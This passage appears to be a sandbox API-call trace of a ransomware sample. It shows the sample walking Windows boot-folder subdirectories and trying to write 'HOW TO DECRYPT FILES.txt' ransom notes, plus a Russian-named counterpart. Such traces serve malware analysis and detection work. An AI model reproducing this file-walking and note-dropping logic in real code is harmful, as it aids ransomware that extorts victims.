ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0125.132] lstrcmpA (lpString1=".", lpString2="zh-CN") returned -1 [0125.132] lstrcmpA (lpString1="..", lpString2="zh-CN") returned -1 [0125.132] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.132] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="zh-CN" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-CN") returned="C:\\Windows\\Boot\\EFI\\zh-CN" [0125.132] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\zh-CN\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.138] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.138] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.138] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.138] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.138] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe30a8108, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe37cc278, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x78297558, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.138] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.138] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.138] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.138] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.138] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\zh-CN\\*.*") returned="*.*" [0125.138] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\zh-CN\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-CN\\") returned="C:\\Windows\\Boot\\EFI\\zh-CN\\" [0125.138] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\zh-CN\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\zh-CN\\") returned="" [0125.138] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\zh-CN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-CN\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\zh-CN\\HOW TO DECRYPT FILES.txt" [0125.138] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\zh-CN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\zh-cn\\how to decrypt files.txt")) returned 0xffffffff [0125.139] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\zh-CN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\zh-cn\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.139] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.139] CloseHandle (hObject=0xffffffff) returned 0 [0125.139] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\zh-CN\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-CN\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\zh-CN\\bootmgfw.efi.mui" [0125.139] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\zh-CN\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.139] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9f7d8ad, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea6c7b7a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea6c7b7a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.139] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.139] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.139] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.140] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.140] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\zh-CN\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.140] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\zh-CN\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-CN\\") returned="C:\\Windows\\Boot\\EFI\\zh-CN\\" [0125.140] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\zh-CN\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\zh-CN\\") returned="" [0125.140] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\zh-CN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-CN\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\zh-CN\\HOW TO DECRYPT FILES.txt" [0125.140] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\zh-CN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\zh-cn\\how to decrypt files.txt")) returned 0xffffffff [0125.140] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\zh-CN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\zh-cn\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.140] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.140] CloseHandle (hObject=0xffffffff) returned 0 [0125.140] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\zh-CN\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-CN\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\zh-CN\\bootmgr.efi.mui" [0125.140] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\zh-CN\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.141] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9f7d8ad, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea6c7b7a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea6c7b7a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.141] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.141] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0125.141] lstrcmpA (lpString1=".", lpString2="zh-HK") returned -1 [0125.141] lstrcmpA (lpString1="..", lpString2="zh-HK") returned -1 [0125.141] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.141] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="zh-HK" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-HK") returned="C:\\Windows\\Boot\\EFI\\zh-HK" [0125.141] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\zh-HK\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.141] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.141] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.141] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.141] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.142] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe93bccfa, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9b793de, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7856af2c, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.142] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.142] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.142] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.142] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.142] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\zh-HK\\*.*") returned="*.*" [0125.142] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\zh-HK\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-HK\\") returned="C:\\Windows\\Boot\\EFI\\zh-HK\\" [0125.142] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\zh-HK\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\zh-HK\\") returned="" [0125.142] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\zh-HK\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-HK\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\zh-HK\\HOW TO DECRYPT FILES.txt" [0125.142] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\zh-HK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\zh-hk\\how to decrypt files.txt")) returned 0xffffffff [0125.142] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\zh-HK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\zh-hk\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.143] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.143] CloseHandle (hObject=0xffffffff) returned 0 [0125.143] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\zh-HK\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-HK\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\zh-HK\\bootmgfw.efi.mui" [0125.143] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\zh-HK\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.143] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1d50fce, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe257fac9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe257fac9, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.143] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.143] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.143] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.143] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.143] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\zh-HK\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.143] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\zh-HK\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-HK\\") returned="C:\\Windows\\Boot\\EFI\\zh-HK\\" [0125.143] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\zh-HK\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\zh-HK\\") returned="" [0125.143] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\zh-HK\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-HK\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\zh-HK\\HOW TO DECRYPT FILES.txt" [0125.143] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\zh-HK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\zh-hk\\how to decrypt files.txt")) returned 0xffffffff [0125.144] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\zh-HK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\zh-hk\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.144] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.144] CloseHandle (hObject=0xffffffff) returned 0 [0125.144] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\zh-HK\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-HK\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\zh-HK\\bootmgr.efi.mui" [0125.144] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\zh-HK\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.144] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1d50fce, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe257fac9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe257fac9, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.145] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.145] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0125.145] lstrcmpA (lpString1=".", lpString2="zh-TW") returned -1 [0125.145] lstrcmpA (lpString1="..", lpString2="zh-TW") returned -1 [0125.145] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.145] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="zh-TW" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-TW") returned="C:\\Windows\\Boot\\EFI\\zh-TW" [0125.145] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\zh-TW\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.146] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.146] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.146] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.146] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.146] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe674155b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6eb1985, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x784d29bc, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.146] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.146] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.146] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.146] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.146] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\zh-TW\\*.*") returned="*.*" [0125.146] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\zh-TW\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-TW\\") returned="C:\\Windows\\Boot\\EFI\\zh-TW\\" [0125.146] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\zh-TW\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\zh-TW\\") returned="" [0125.146] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\zh-TW\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-TW\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\zh-TW\\HOW TO DECRYPT FILES.txt" [0125.146] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\zh-TW\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\zh-tw\\how to decrypt files.txt")) returned 0xffffffff [0125.146] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\zh-TW\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\zh-tw\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.147] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.147] CloseHandle (hObject=0xffffffff) returned 0 [0125.147] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\zh-TW\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-TW\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\zh-TW\\bootmgfw.efi.mui" [0125.147] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\zh-TW\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.147] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe452fd2a, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4ca0154, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4ca0154, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.147] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.147] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.147] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.147] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.147] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\zh-TW\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.147] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\zh-TW\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-TW\\") returned="C:\\Windows\\Boot\\EFI\\zh-TW\\" [0125.147] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\zh-TW\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\zh-TW\\") returned="" [0125.148] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\zh-TW\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-TW\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\zh-TW\\HOW TO DECRYPT FILES.txt" [0125.148] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\zh-TW\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\zh-tw\\how to decrypt files.txt")) returned 0xffffffff [0125.148] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\zh-TW\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\zh-tw\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.148] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.148] CloseHandle (hObject=0xffffffff) returned 0 [0125.148] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\zh-TW\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\zh-TW\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\zh-TW\\bootmgr.efi.mui" [0125.148] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\zh-TW\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.148] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe452fd2a, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4ca0154, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4ca0154, 